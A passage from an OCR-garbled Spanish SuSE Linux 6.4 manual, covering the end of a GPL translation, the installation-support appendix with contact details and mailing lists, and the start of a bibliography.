  34224.                            INDIQUE  LO  CONTRARIO  POR  ESCRITO,  LOS  POSEEDORES  DEL
  34225.                            COPYRIGHT Y/U OTRAS PARTES PROVEEN EL PROGRAMA ─TL Y
  34226.                            COMO  EST┴",  SIN  GARANT═A  DE  NINGUNA  CLASE,  YA  SEA  EX-
  34227.                            PRESA  O  IMPL═CITA,  INCLUYENDO,  PERO  NO  LIMIT┴NDOSE  A,
  34228.                            LAS GARANT═AS IMPL═CITAS DE COMERCIABILIDAD Y APTITUD
  34229.                            PARA UN PROP╙SITO PARTICULAR. TODO EL RIESGO EN CUANTO
  34230.                            A LA CALIDAD Y FUNCIONAMIENTO DEL PROGRAMA LO ASUME
  34231.                            USTED. SI EL PROGRAMA SE COMPROBARA QUE EST┴ DEFECTU-
  34232.                            OSO, USTED ASUME EL COSTO DE TODO SERVICIO, REPARACI╙N
  34233.                            O CORRECCI╙N QUE SEA NECESARIO.
  34234.  
  34235.                            EN NING┌N CASO, A NO SER QUE SE REQUIERA POR LAS LEYES
  34236.                            APLICABLES   O   SE   ACUERDE   POR   ESCRITO,   PODR┴   NING┌N
  34237.                            POSEEDOR DE COPYRIGHT O CUALQUIER OTRA PARTE QUE HAYA
  34238.                            MODIFICADO Y/O REDISTRIBUIDO EL PROGRAMA, SER RESPON-
  34239.                            SABLE  ANTE  USTED  POR  DA╤OS  O  PERJUICIOS,  INCLUYENDO
  34240.                            CUALQUIER DA╤O GENERAL, ESPECIAL, INCIDENTAL O CONSE-
  34241.                            CUENTE DEBIDO AL USO O LA IMPOSIBILIDAD DE PODER USAR
  34242.                            EL PROGRAMA (INCLUYENDO PERO NO LIMIT┴NDOSE A LA P╔R-
  34243.                            DIDA  DE  DATOS  O  LA  PRODUCCI╙N  DE  DATOS  INCORRECTOS  O
  34244.                            P╔RDIDAS SUFRIDAS POR USTED O POR TERCERAS PARTES O LA
  34245.                            IMPOSIBILIDAD  DEL  PROGRAMA  DE  OPERAR  JUNTO  A  OTROS
  34246.                            PROGRAMAS),  INCLUSO  SI  EL  POSEEDOR  DEL  COPYRIGHT  U
  34247.                            OTRA  PARTE  HA  SIDO  AVISADO  DE  LA  POSIBILIDAD  DE  TALES
  34248.                            DA╤OS.
  34249.  
  34250.  
  34251.                                                    FIN DE T╔RMINOS Y CONDICIONES
  34252.  
  34253.                                    Anexo: C≤mo aplicar estos tΘrminos a sus nuevos programas.
  34254.  
  34255.  
  34256.                            Si usted desarrolla un nuevo Programa, y quiere que sea del mayor uso posible
  34257.                            para el p·blico en general, la mejor forma de conseguirlo es convirtiΘndolo
  34258.                            en software libre que cualquiera pueda redistribuir y cambiar bajo estos tΘr-
  34259.                            minos.
  34260.  
  34261.                            Para  hacerlo,  a±ada  los  siguientes  avisos  al  programa.   Lo  mßs  seguro  es
  34262.                            a±adirlos al principio de cada fichero fuente para comunicar lo mßs efectiva-
  34263.  
  34264.  
  34265. 538
  34266.        _________________________________________________________________G.__La_licencia_p·blica_general_GNU_(GPL)__________________*
  34267.  *______________________
  34268.  
  34269.  
  34270.  
  34271. mente posible la ausencia de garantφa.  Ademßs cada fichero deberφa tener al
  34272. menos la lφnea de ÷c pyright"y una indicaci≤n del lugar donde se encuentra
  34273. la notificaci≤n completa.
  34274.  
  34275. ffiuna lφnea para indicar el nombre del programa y una rßpida idea de lo que
  34276. hace fflCopyright (C) 19yy ffinombre del autor ffl
  34277.  
  34278. Este programa es software libre;  usted puede redistribuirlo y/o modificarlo
  34279. bajo los tΘrminos de la Licencia P·blica General GNU tal y como estß pub-
  34280. licada por la Free Software Foundation; ya sea la versi≤n 2 de la Licencia o
  34281. (a su elecci≤n) cualquier versi≤n posterior.
  34282.  
  34283. Este  programa  se  distribuye  con  la  esperanza  de  que  sea  ·til,  pero  SIN
  34284. NINGUNA GARANT═A; ni siquiera la garantφa implφcita de COMERCIABIL-
  34285. IDAD  o  APTITUD  PARA  UN  PROP╙SITO  ESPEC═FICO.  Vea  la  Licencia
  34286. P·blica General GNU para mßs detalles.
  34287.  
  34288. Usted deberφa haber recibido una copia de la Licencia P·blica General junto
  34289. con este programa. Si no ha sido asφ, escriba a la Free Software Foundation,
  34290. Inc., en 675 Mass Ave, Cambridge, MA 02139, EEUU.
  34291.  
  34292. A±ada tambiΘn informaci≤n sobre c≤mo contactar con usted mediante correo
  34293. electr≤nico y postal.
  34294.  
  34295. Si el programa es interactivo, haga que muestre un peque±o anuncio como el
  34296. siguiente, cuando comience a funcionar en modo interactivo:
  34297.  
  34298. Gnomovision versi≤n 69, Copyright (C) 19yy nombre del autor Gnomovision
  34299. no ofrece ABSOLUTAMENTE NINGUNA GARANT═A; para mßs detalles es-
  34300. criba  `show  w'.   Esto  es  software  libre,  y  se  le  invita  a  redistribuirlo  bajo
  34301. ciertas condiciones. Escriba `show c' para mßs detalles.
  34302.  
  34303. Los comandos hipotΘticos `show w' y `show c' deberφan mostrar las partes
  34304. adecuadas de la Licencia P·blica General.  Por supuesto, los comandos que
  34305. use  pueden  llamarse  de  cualquier  otra  manera.   Podrφan  incluso  ser  pulsa-
  34306. ciones del rat≤n o elementos de un men·~lo que sea apropiado para su pro-
  34307. grama).
  34308.  
  34309. TambiΘn deberφa conseguir que el empresario (si trabaja como programador)
  34310. o su centro acadΘmico, si es el caso, firme una "renuncia de copyrightΣp ra el
  34311. programa, si es necesario.  A continuaci≤n se ofrece un ejemplo, cambie los
  34312. nombres:
  34313.  
  34314. Yoyodyne,  Inc.   con  la  presente  renuncia  a  cualquier  interΘs  de  derechos
  34315. de  copyright  con  respecto  al  programa  `Gnomovision'  (que  hace  pasadas
  34316. a compiladores) escrito por Pepe Programador.
  34317.  
  34318. ffifirma de Pepito Grillo ffl, 20 de diciembre de 1996 Pepito Grillo, Presidente
  34319. de Asuntillos Varios.
  34320.  
  34321. Esta Licencia P·blica General no permite incorporar su programa a progra-
  34322. mas propietarios.  Si su programa es una librerφa de subrutinas,  puede con-
  34323. siderar  mßs  ·til  el  permitir  el  enlazado  de  aplicaciones  propietarias  con  la
  34324. librerφa.  Si este es el caso, use la Licencia P·blica General GNU para Libr-
  34325. erφas en lugar de esta Licencia.
  34326.  
  34327.  
  34328.  
  34329.                                                                                                                                    *
  34330.  *   539
  34331. G.  La licencia p·blica_general_GNU_(GPL)__________________________________________________________________________________________*
  34332.  *_______________________________________@
  34333.  
  34334. 540
  34335.  
  34336.                                                                                                      ApΘndice  H
  34337.                                                                    Soporte   y   servicios
  34338.  
  34339.  
  34340. A lo largo de los ·ltimos a±os hemos notado que la aparici≤n de problemas
  34341. durante la instalaci≤n va disminuyendo con el desarrollo de Linux, pero que
  34342. los  problemas  no  desaparecen  por  completo.   Muchas  de  las  experiencias
  34343. hechas  a  base  de  los  problemas  reales  de  los  usuarios  se  han  introducido
  34344. en  este  libro,  para  evitarle  a  Ud.  distinguido  lector,  un  fin  de  semana  de
  34345. desesperaci≤n, sin el soporte por telΘfono que existe durante la semana y para
  34346. ayudarle a continuar con la instalaci≤n de su sistema.
  34347.  
  34348. Cuando tenga problemas, antes de ponerse en contacto con nuestro equipo de
  34349. soporte, por favor cerci≤rese de que la soluci≤n no aparece a·n en este libro o
  34350. en nuestro ''banco de datos de soporte''1 ; ademßs, serφa conveniente consultar
  34351. los distintos ficheros README del primer CD.
  34352.  
  34353.  
  34354.  
  34355. H.1        60 dφas de soporte de instalaci≤n
  34356.  
  34357.  
  34358. H.1.1       íSin registro, ning·n soporte!
  34359.  
  34360. Para  ofrecerle  un  soporte  de  instalaci≤n  ≤ptimo,  solo  podemos  contestar  a
  34361. preguntas hechas por usuarios de SuSE     Linux registrados.
  34362.  
  34363. En  la primera pßgina de este manual puede encontrar una tarjeta de registro                                       C≤digo de
  34364. que incluye su c≤digo de registro.  Este c≤digo es ·nico y verifica la autenti-                                    registro
  34365. cidad del paquete.
  34366.        _______________________________________________________________________________________________________________________||
  34367.        ||||||||  Como  el  c≤digo  de  registro  y  el  derecho  a  soporte  estßn  vinculados  al              |||            |
  34368.        ||||||||                                                                                                 ||             |
  34369.        ||||||||  producto,  le  rogamos  registrar  cada  edici≤n  de  SuSE     Linux,  aunque  se              ||             |
  34370.        ||||||||  se trate de una actualizaci≤n o si ha adquirido el producto directamente de                    ||             |
  34371.        ||||||||                                                                                                 ||             |
  34372.        ||||||||  nuestra casa. íNo serß registrado automßticamente al comprar el paquete!                       ||             |
  34373.        ||||||||_______________________________________________________________________________________________________________||_
  34374.  
  34375.  
  34376. H.1.2       Cobertura del soporte de instalaci≤n
  34377.  
  34378. La pretensi≤n del soporte de instalaci≤n es hacer funcionar su computadora
  34379. con SuSE     Linux. Esto implica:
  34380.  
  34381.   o   la instalaci≤n de SuSE     Linux desde el CD
  34382.  
  34383.   o   la configuraci≤n bßsica de una estaci≤n de trabajo
  34384.  
  34385.   o   los_ajustes_bßsicos_de_la_superficie_grßfica_del_tipo_X11
  34386. 1 El apartado H.3 en la pßgina 544Servicios adicionalessection.H.3 explica c≤mo acceder a ello
  34387. vφa Internet o instalando un paquete de software.
  34388.  
  34389.  
  34390.                                                                                                                                    *
  34391.  *   541
  34392. H.  Soporte y servicios_de_SuSE______GmbH__________________________________________________________________________________________*
  34393.  *_______________________________________@
  34394.  
  34395.  
  34396.  
  34397.                              o   la configuraci≤n bßsica de un modem anal≤gico para el acceso a Internet
  34398.                                  (solo en el lado del cliente)
  34399.                              o   la configuraci≤n bßsica de una tarjeta RDSI para el acceso a Internet (solo
  34400.                                  en el lado del cliente)
  34401.                              o   la configuraci≤n de una impresora local para una estaci≤n de trabajo.
  34402.                              o   la configuraci≤n bßsica de una tarjeta de sonido soportada.
  34403.  
  34404.                            El soporte de instalaci≤n no tramitarß los temas que no hayan sido men-
  34405.                            cionados arriba. Cualquier pregunta sobre ello no se responderß.
  34406.  
  34407.                            Nuestro soporte de instalaci≤n se entiende como una ayuda para la instalaci≤n
  34408.                            bßsica del sistema y no como ense±anza sobre Linux.  Esto significa que el
  34409.                            soporte solo cubre problemas de configuraci≤n y no problemas de compren-
  34410.                            si≤n.
  34411.  
  34412.                            Pese a todos los esfuerzos que hacemos, a veces ocurre que SuSE      Linux no
  34413.                            funciona con una determinada configuraci≤n de hardware o que no funciona
  34414.                            al cien por cien. Esperamos que entienda que no le podemos dar una garantφa
  34415.                            total de funcionamiento.
  34416.  
  34417.                            Aparte del verdadero n·cleo de Linux, ofrecemos tambiΘn varios centenares
  34418.                            de paquetes de software (actualmente  alrededor de 1300) incluidos en nuestro
  34419.                            paquete SuSE     Linux.  Tratamos de mantener estos paquetes actualizados, no
  34420.                            obstante, no siempre podemos conocer en detalle la configuraci≤n de todos
  34421.                            y  tampoco  programar  suplementos  para  ellos.   Por  eso,  lo  mejor  es  tratar
  34422.                            de  consultar  la  documentaci≤n  disponible  como  las  manpages,  los  ficheros
  34423.                            README, ayuda en lφnea, etc.
  34424.  
  34425.  
  34426.                            H.2        íLa vφa mßs rßpida!
  34427.  
  34428.                            A continuaci≤n le ofrecemos algunas instrucciones que le permitirßn recibir
  34429.                            cuanto  antes  una  respuesta  de  nuestro  equipo  de  soporte.   El  sistema  au-
  34430.                            tomßtico que gestiona este soporte solamente puede procesar los E-Mails que
  34431.                            cumplen el estßndar expuesto. Los demßs mensajes tienen que ser ordenados
  34432.                            a mano para poder pasarlos a las personas responsables de la secci≤n.
  34433.  
  34434.                              o   Por  favor  registre  su  SuSE     Linux  online  en  nuestra  pßgina  web  en  la
  34435.                                  direcci≤n http://www.suse.de/form-registration.html, tambiΘn
  34436.                                  si lo ha adquirido directamente en SuSE    .
  34437.                              o   Escriba un E-Mail directamente a la direcci≤n isupport@suse.de tal como
  34438.                                  estß  indicado  en  el  fichero  H.2.1  en  la  pßgina  siguiente;  tenga  cuidado
  34439.                                  con  las  may·sculas  y  min·sculas  cuando  estΘ  escribiendo  sus  datos  de
  34440.                                  cliente, de lo contrario su E-Mail no podrß ser tratado automßticamente.
  34441.                                  Deje vacφos los recuadros que no necesita (p. ej.  FIRMA).
  34442.                              o   No use attachments (p. ej.  tarjetas de visita en formato X-VCARD), mejor
  34443.                                  incorpore los ficheros de configuraci≤n en formato ASCII directamente en
  34444.                                  el mensaje (ver Fichero H.2.2).
  34445.  
  34446.                            Duraci≤n del soporte de instalaci≤n
  34447.  
  34448.                            El soporte de instalaci≤n para un SuSE     Linux-CD es de 60 dφas a partir de la
  34449.                            fecha de registro pero no mßs de 60 dφas despuΘs de la salida al mercado de
  34450.                            la siguiente versi≤n.
  34451.  
  34452.  
  34453. 542
  34454.        _____________________________________________________________________________________________H.2.__íLa_vφa_mßs_rßpida!______*
  34455.  *______________________
  34456.  
  34457.        ||||||||                                                                                                                |
  34458.        ||||||||                                                                                                                |
  34459.        ||||||||                                                                                                                |
  34460.        _______________________________________________________________________________________________________________________||||
  34461.        ||||||||                                                                                                                |
  34462.        ||||||||    NOMBRE:  Quintus                                                                                            |
  34463.        ||||||||                                                                                                                |
  34464.        ||||||||    APELLIDO:  Dr.  Sabelotodo                                                                                  |
  34465.        ||||||||    EMPRESA:  Listonerφa  (Laboratorio)                                                                         |
  34466.        ||||||||                                                                                                                |
  34467.        ||||||||    Direcci≤n:  Plaza  SΘsamo  4711                                                                             |
  34468.        ||||||||    C.P.:  00815                                                                                                |
  34469.        ||||||||                                                                                                                |
  34470.        ||||||||    CIUDAD:  Timbuktu                                                                                           |
  34471.        ||||||||    PAIS:  Espa±a                                                                                               |
  34472.        ||||||||    REGCODE:  XXXXXX                                                                                            |
  34473.        ||||||||                                                                                                                |
  34474.        ||||||||    EMAIL:  sabelotodo@quinto-pino.es                                                                           |
  34475.        ||||||||                                                                                                                |
  34476.        ||||||||                                                                                                                |
  34477.        ||||||||    Distinguido  equipo  de  soporte  SuSE:                                                                     |
  34478.        ||||||||                                                                                                                |
  34479.        ||||||||                                                                                                                |
  34480.        ||||||||    Aquφ  en  mi  laboratorio  tengo  un  peque±o  problema.                                                    |
  34481.        ||||||||                                                                                                                |
  34482.        ||||||||                                                                                                                |
  34483.        ||||||||    DespuΘs  de  haber  instalado  SuSE  Linux  6.4  recibo  el                                                 |
  34484.        ||||||||    siguiente  mensaje  de  error  cuando  el  kernel  arranca:                                                 |
  34485.        ||||||||                                                                                                                |
  34486.        ||||||||                                                                                                                |
  34487.        ||||||||                        "Unable  to  open  an  initial  console"                                                |
  34488.        ||||||||                                                                                                                |
  34489.        ||||||||                                                                                                                |
  34490.        ||||||||    Tengo  un  Pentium  400  con  128  MB  RAM  y  disco  duro  de  8  GB  IDE.                                 |
  34491.        ||||||||    ┐QuΘ  hago  mal?                                                                                            |
  34492.        ||||||||                                                                                                                |
  34493.        ||||||||                                                                                                                |
  34494.        ||||||||    Saludos  cordiales                                                                                          |
  34495.        ||||||||                                                                                                                |
  34496.        ||||||||    (tambiΘn  por  parte  de  mi  asistente  PΘrez)                                                             |
  34497.        ||||||||                                                                                                                |
  34498.        ||||||||                                                                                                                |
  34499.        ||||||||    Dr.  Quintus  Sabelotodo                                                                                    |
  34500.        ||||||||    <sabelotodo@quinto-pino.es>                                                                                 |
  34501.        ||||||||                                                                                                                |
  34502.        ||||||||_______________________________________________________________________________________________________________ |
  34503.  
  34504.                       Fichero H.2.1: Ejemplo de pregunta vφa E-Mail
  34505.  
  34506.  
  34507.        _______________________________________________________________________________________________________________________||||
  34508.        ||||||||                                                                                                                |
  34509.        ||||||||    ...tengo  un  problema  con  Lilo.  A  continuaci≤n  viene  la  parte                                       |
  34510.        ||||||||                                                                                                                |
  34511.        ||||||||    importante  de  mi  fichero  /etc/lilo.conf                                                                 |
  34512.        ||||||||                                                                                                                |
  34513.        ||||||||                                                                                                                |
  34514.        ||||||||    ---corte---                                                                                                 |
  34515.        ||||||||    #  Linux  bootable  partition  config  begins                                                               |
  34516.        ||||||||                                                                                                                |
  34517.        ||||||||    image  =  /boot/vmlinuz                                                                                     |
  34518.        ||||||||    root  =  /dev/sda2                                                                                          |
  34519.        ||||||||    label  =  linux-2.0.36                                                                                      |
  34520.        ||||||||                                                                                                                |
  34521.        ||||||||    #  Linux  bootable  partition  config  ends                                                                 |
  34522.        ||||||||    ---corte---                                                                                                 |
  34523.        ||||||||                                                                                                                |
  34524.        ||||||||_______________________________________________________________________________________________________________ |
  34525.  
  34526. Fichero H.2.2: Parte de una pregunta por E-Mail con fichero de configuraci≤n
  34527.  
  34528.                                                                                                                                    *
  34529.  *   543
  34530. H.  Soporte y servicios_de_SuSE______GmbH__________________________________________________________________________________________*
  34531.  *_______________________________________@
  34532.  
  34533.  
  34534.  
  34535.                            H.2.1       ┐C≤mo contactar el equipo de soporte de SuSE     ?
  34536.                            Puede contactar nuestro equipo de soporte vφa E-Mail, Fax, carta o telΘfono.
  34537.  
  34538.                            Cuando formule una pregunta, aseg·rese de que el medio de comunicaci≤n
  34539.                            deseado realmente funciona.  Con frecuencia tenemos problemas de respon-
  34540.                            der  a  las  preguntas,  porque  p. ej.  el  fax  del  cliente  no  estß  continuamente
  34541.                            encendido (modem~fax de una computadora) o por una direcci≤n de E-Mail,
  34542.                            que es incorrecta o no responde.
  34543.                            ________________________________________________________________________________________________________*
  34544.  *________|||
  34545.                            |  Cuando envφe un E-Mail tenga en cuenta de no incluir ning·n attachment.                              *
  34546.  *        ||||
  34547.                            |  Si quiere enviar p. ej.  ficheros de registro, incl·yalos directamente dentro                        *
  34548.  *        |||
  34549.                            |                                                                                                       *
  34550.  *        |||
  34551.                            |  del texto.  Especialmente evite mandar ficheros en un formato propietario                            *
  34552.  *        |||
  34553.                            |                                                                                                       *
  34554.  *        |||
  34555.                            |  (p. ej.  de un paquete ofimßtico)~ normalmente no tenemos los filtros ade-                           *
  34556.  *        |||
  34557.                            |  cuados para leerlos.  Tampoco hace falta que nos envφe textos en formato                             *
  34558.  *        |||
  34559.                            |                                                                                                       *
  34560.  *        |||
  34561.                            |  HTML; se trata de una caracterφstica de su navegador que se puede suprim-                            *
  34562.  *        |||
  34563.                            |  ir.                                                                                                  *
  34564.  *        |||
  34565.                            |_______________________________________________________________________________________________________*
  34566.  *________|||_
  34567.  
  34568.                            Seg·n el medio de comunicaci≤n usado, nuestro equipo de soporte estß a su
  34569.                            disposici≤n durante el horario indicado a continuaci≤n:
  34570.  
  34571.                              o   por E-Mail
  34572.                                  Direcci≤n:                       isupport@suse.de
  34573.                                  Atenci≤n:                        Durante toda la semana.
  34574.                              o   por WWW (E-Mail)
  34575.                                  Direcci≤n:                       http://www.suse.de/supp-form.html
  34576.                                  Atenci≤n:                        Durante toda la semana.
  34577.                              o   por Fax
  34578.                                  N·mero de Fax:                   +49-9 11 74 05 34 77
  34579.                                  Atenci≤n:                        Durante toda la semana.
  34580.                              o   por carta
  34581.                                  Direcci≤n:                       SuSE     GmbH
  34582.                                                                   ~ Support ~
  34583.                                                                   SchanzΣckerstr. 10
  34584.                                                                   D-90443 Nⁿrnberg
  34585.  
  34586.                                  Atenci≤n:                        Durante toda la semana.
  34587.  
  34588.  
  34589.                            H.3        Servicios adicionales
  34590.  
  34591.                            TambiΘn queremos indicar una serie de servicios adicionales que estßn a dis-
  34592.                            posici≤n las 24 horas del dφa. Estos son:
  34593.  
  34594.                              o   SuSE     WWW-Server
  34595.                                  http://www.suse.de
  34596.                                  Informaci≤n  actualizada,  catßlogos,  servicio  de  encargo,  formulario  de
  34597.                                  soporte, banco de datos de soporte.
  34598.                              o   Listas de correo de SuSE      (Informaci≤n y foros de discusi≤n vφa E-Mail):
  34599.  
  34600.                                  ~   suse-announce@suse.com   ~   Anuncios   e   informaciones   de   SuSE
  34601.                                      GmbH (alemßn)
  34602.  
  34603.  
  34604. 544
  34605.      ___________________________________________________________________________________________H.3.__Servicios_adicionales________*
  34606.  *____________________
  34607.  
  34608.  
  34609.  
  34610.     ~   suse-announce-e@suse.com  ~  Anuncios  e  informaciones  de  SuSE
  34611.         GmbH (inglΘs)
  34612.  
  34613.     ~   suse-linux@suse.com  ~  Discusiones  entorno  a  la  distribuci≤n  SuSE
  34614.         Linux (alemßn)
  34615.  
  34616.     ~   suse-axp@suse.com ~ SuSE     Linux en mßquinas Alpha (inglΘs)
  34617.  
  34618.     ~   suse-linux-e@suse.com ~ Discusiones entorno a la distribuci≤n SuSE
  34619.         Linux (inglΘs)
  34620.  
  34621.     ~   suse-isdn@suse.com ~ RDSI (ingl. ISDN) con SuSE     Linux
  34622.  
  34623.     ~   suse-adabas@suse.com ~ Informaciones y discusiones sobre Adabas-
  34624.         D bajo SuSE     Linux
  34625.  
  34626.     ~   suse-applix@suse.com ~ Intercambio de experiencias con el paquete
  34627.         Applixware de SuSE     GmbH
  34628.  
  34629.     ~   suse-informix@suse.com  ~  Informaciones  y  discusiones  sobre  In-
  34630.         formix bajo SuSE     Linux
  34631.  
  34632.     ~   suse-oracle@suse.com  ~  Informaci≤n  y  discusi≤n  sobre  Oracle  bajo
  34633.         SuSE     Linux (inglΘs)
  34634.  
  34635.     Para suscribirse a una de las listas de correo, envφe sencillamente un E-
  34636.     Mail  a  majordomo@suse.com  con  el  comando  subscribe         como  con-
  34637.     tenido del mensaje; el asunto no importa. Por ejemplo con
  34638.           subscribe  suse-announce
  34639.  
  34640.  
  34641.     pasarß a recibir regularmente anuncios. Igual de sencillo es darse de baja
  34642.     en una lista de correo. envφe otra vez un E-Mail a majordomo@suse.com:
  34643.           unsubscribe  suse-announce
  34644.  
  34645.  
  34646.     Aseg·rese de enviar el mensaje con su direcci≤n de E-Mail correcta para
  34647.     que el comando unsubscribe           tambiΘn se ejecute correctamente.
  34648.  
  34649. o   servidor ftp de SuSE
  34650.  
  34651.     ftp://ftp.suse.com
  34652.  
  34653.     Informaci≤n actualizada, actualizaciones (updates) y correcciones de er-
  34654.     rores (Bugfixes).
  34655.  
  34656.     Debe entrar al sistema como usuario `ftp'.
  34657.  
  34658.                                                                                                                                    *
  34659.  * 545
  34660. H.  Soporte y servicios_de_SuSE______GmbH__________________________________________________________________________________________*
  34661.  *_______________________________________@
  34662.  
  34663. 546
  34664.  
  34665.  
  34666.  
  34667.                                                                                              Bibliografφa
  34668.  
  34669.  
  34670. [Alm96]           Almesberger,  Werner:   LILO  User's  guide,  1996.  ~   (siehe  Datei  /usr/doc/
  34671.                   lilo/user.dvi)
  34672. [Bai97]           Bailey, Edward C.:  Maximum RPM.  Red Hat, 1997. ~  (ISBN 1-888172-78-9)
  34673. [BBD+  97]        Beck, Michael ; B÷hme, Harald ; Dziadzka, Mirko ; Kunitz, Ulrich ; Mag-
  34674.                   nus,  Robert ;  Verworner,  Dirk:   Linux-Kernel-Programmierung.   4.   Addison
  34675.                   Wesley GmbH, 1997. ~  (ISBN 3-8273-1144-6)
  34676. [BD98]            Borkner-Delcarlo, Olaf:  Linux im kommerziellen Einsatz. Carl Hanser Verlag,
  34677.                   1998. ~  (ISBN 3-446-19465-7)
  34678. [BD99]            Borkner-Delcarlo, Olaf:   Das Samba-Buch.  SuSE Press, 1999. ~  (ISBN 3-
  34679.                   930419-93-9)
  34680. [CAR93]           Costales, Bryan ; Allman, Eric ; Rickert, Neil:  sendmail.  O'Reilly & Asso-
  34681.                   ciates, Inc., 1993. ~  (ISBN 1-56592-056-2)
  34682. [CB96]            Cheswick, William R. ; Bellovin, Steven M.:   Firewalls und Sicherheit im In-
  34683.                   ternet.  Addison Wesley GmbH, 1996. ~  (ISBN 3-89319-875-x)
  34684. [CR91]            Cameron, Debra ; Rosenblatt, Bill:  Learning GNU Emacs.  O'Reilly & Asso-
  34685.                   ciates, Inc., 1991. ~  (ISBN 0 937175-84-6)
  34686. [CZ96]            Chapman  ;  Zwicky:   Einrichten  von  Internet  Firewalls.  Sicherheit  im  Internet
  34687.                   gewΣhrleisten..  O'Reilly & Associates, Inc., 1996. ~  (ISBN 3-930673312)
  34688. [DR98]            Dawson, Terry ; Rubini, Alessandro: NET-3 HOWTO, v1.4, August 1998. ~ (siehe
  34689.                   Datei /usr/doc/howto/en/NET-3-HOWTO.gz)
  34690. [DR99]            Dawson,  Terry  ;  Rubini,  Alessandro:   NET3-4  HOWTO,  v1.5,  August  1999.  ~
  34691.                   (siehe Datei /usr/doc/howto/en/NET3-4-HOWTO.gz)
  34692. [EH98]            Eckel, George ; Hare, Chris:  Linux ~ Internet Server.  Carl Hanser Verlag, 1998.
  34693.                   ~  (ISBN 3-446-19044-9)
  34694. [FCR93]           Fang,  Chin  ;  Crosson,  Bob  ;  Raymond,  Eric  S.:   The  Hitchhiker's  Guide  to
  34695.                   X386/XFree86 Video Timing (or, Tweaking your Monitor for Fun and Profit), 1993.
  34696.                   ~  (siehe Datei /usr/X11/lib/X11/doc/VideoModes.doc)
  34697. [Fri93]           Frisch,  ╞leen:    Essential  System  Administration.   O'Reilly  &  Associates,  Inc.,
  34698.                   1993. ~  (ISBN 0-937175-80-3)
  34699. [Gil92]           Gilly, Daniel:  UNIX in a nutshell: System V Edition. O'Reilly & Associates, Inc.,
  34700.                   1992. ~  (ISBN 1-56592-001-5)
  34701. [GMR97]           Goossens, Michel ; Mittelbach, Frank ; Rahtz, Sebastian: TheALTEX Graphics
  34702.                   Companion.  Addison Wesley Longman, 1997. ~  (ISBN 0-201-85469-4)
  34703. [GMS94]           Goossens,  Michel  ;  Mittelbach,  Frank  ;  Samarin,  Alexander:    The ALTEX
  34704.                   Companion.  Addison Wesley GmbH, 1994. ~  (ISBN 0-201-54199-8)
  34705.  
  34706.  
  34707.                                                                                                                                    *
  34708.  *   547
  34709. Bibliografφa      _________________________________________________________________________________________________________________*
  34710.  *_______________________________________@
  34711.  
  34712.  
  34713.  
  34714. [GMS96]          Goossens,  Michel  ;  Mittelbach,  Frank  ;  Samarin,  Alexander:    Der ALTEX-
  34715.                  Begleiter.  Addison Wesley GmbH, 1996. ~  (ISBN 3-89319-646-3)
  34716. [Gri94]          Grieger,  W.:    Wer  hat  Angst  vorm  Emacs?.   Addison  Wesley  GmbH,  1994.  ~
  34717.                  (ISBN 3-89319-620-X)
  34718. [GS93]           Garfinkel,  Simson ;  Spafford,  Gene:   Practical UNIX Security.   O'Reilly &
  34719.                  Associates, Inc., 1993. ~  (ISBN 0-937175-72-2)
  34720. [Hei96]          Hein,  Jochen:     Linux-Companion  zur  Systemadministration.    Addison  Wesley
  34721.                  GmbH, 1996. ~  (ISBN 3-89319-869-5)
  34722. [Her92]          Herold, H.:  UNIX Grundlagen. Addison Wesley GmbH, 1992. ~ (ISBN 3-89319-
  34723.                  542-8)
  34724. [HHMK96]         Hetze,  Sebastian  ;  Hohndel,  Dirk  ;  Mⁿller,  Martin  ;  Kirch,  Olaf:    Linux
  34725.                  Anwenderhandbuch.  6.  LunetIX Softfair, 1996. ~  (ISBN 3-929764-05-9)
  34726. [Hof97]          Hoffmann, Erwin:  EMail-Gateway mit qmail.  In: iX  12 (1997), S. 108ff
  34727. [HR98]           H÷lzer, Matthias ; R÷hrig, Bernhard:   KDE ~ Das K Desktop Environment.  1.
  34728.                  Computer & Literatur, 1998. ~  (ISBN 3-932311-50-7)
  34729. [HST97]          Holz,  Helmut ;  Schmitt,  Bernd ;  Tikart,  Andreas:   Linux fⁿr Internet & In-
  34730.                  tranet.  International Thomson Publishing, 1997. ~  (ISBN 3-8266-0342-7)
  34731. [Hun95]          Hunt, Craig:  TCP/IP Netzwerk Administration. O'Reilly & Associates, Inc., 1995.
  34732.                  ~  (ISBN 3-930673-02-9)
  34733. [JT98]           Johnson, Michael K. ;  Troan, Erik W.:   Anwendungen entwickeln unter Linux.
  34734.                  Addison Wesley GmbH, 1998. ~  (ISBN 3-8273-1449-6)
  34735. [Kie95]          Kienle, Micheal:  TIS: Toolkit fⁿr anwendungsorientierte Firewall-Systeme. In: iX
  34736.                  8 (1995), S. 140ff
  34737. [Kir95]          Kirch, Olaf:  LINUX Network Administrator's Guide. O'Reilly & Associates, Inc.,
  34738.                  1995. ~  (ISBN 1-56592-087-2)
  34739. [Kof97]          Kofler, Michael:   Linux ~ Installation, Konfiguration, Anwendung.  3.  Addison
  34740.                  Wesley GmbH, 1997. ~  (ISBN 3-8273-1304-X)
  34741. [Kop94]          Kopka,  Helmut:  ALTEX-Einfⁿhrung.   Addison Wesley GmbH, 1994. ~   (ISBN 3-
  34742.                  89319-664-1)
  34743. [Kopff]          Kopka, Helmut: ALTEX.  Addison Wesley GmbH, 1996 ff.. ~  3 Bde. (ISBN 3-8273-
  34744.                  1025-3; 3-8273-1229-9; 3-89319-666-8)
  34745. [Kun95]          Kunitz, Ulrich:  Sicherheit fast kostenlos: Einrichtung eines kostenlosen Firewall-
  34746.                  Systems.  In: iX  9 (1995), S. 176ff
  34747. [Lam90]          Lamb, Linda:  Learning the vi Editor.  O'Reilly & Associates, Inc., 1990. ~  (ISBN
  34748.                  0-937175-67-6)
  34749. [Lef96]          Leffler, Sam:  HylaFAX Home Page, 1996
  34750. [Moh98]          Mohr,  James:    UNIX-Windows-Integration.   International  Thomson  Publishing,
  34751.                  1998. ~  (ISBN 3-8266-4032-2)
  34752. [OT92]           O'Reilly,  Tim  ;  Todino,  Grace:    Managing  UUCP  and  Usenet.   O'Reilly  &
  34753.                  Associates, Inc., 1992. ~  (ISBN 0-937175-93-5)
  34754. [Per94]          Perlman, G.:  Unix For Software Developers.  Prentice-Hall, 1994. ~  (ISBN 13-
  34755.                  932997-8)
  34756. [POL97]          Peek, Jerry ; O'Reilly, Tim ; Loukides, Mike:  Unix Power Tools. 2. Sebastopol
  34757.                  : O'Reilly & Associates, Inc., 1997
  34758. [Pug94]          Pugh, K.:  UNIX For The MS-DOS User. Prentice-Hall, 1994. ~ (ISBN 13-146077-
  34759.                  3)
  34760.  
  34761.  
  34762. 548
  34763.        _________________________________________________________________________________________________________________Bibliografφ*
  34764.  *a_____________________
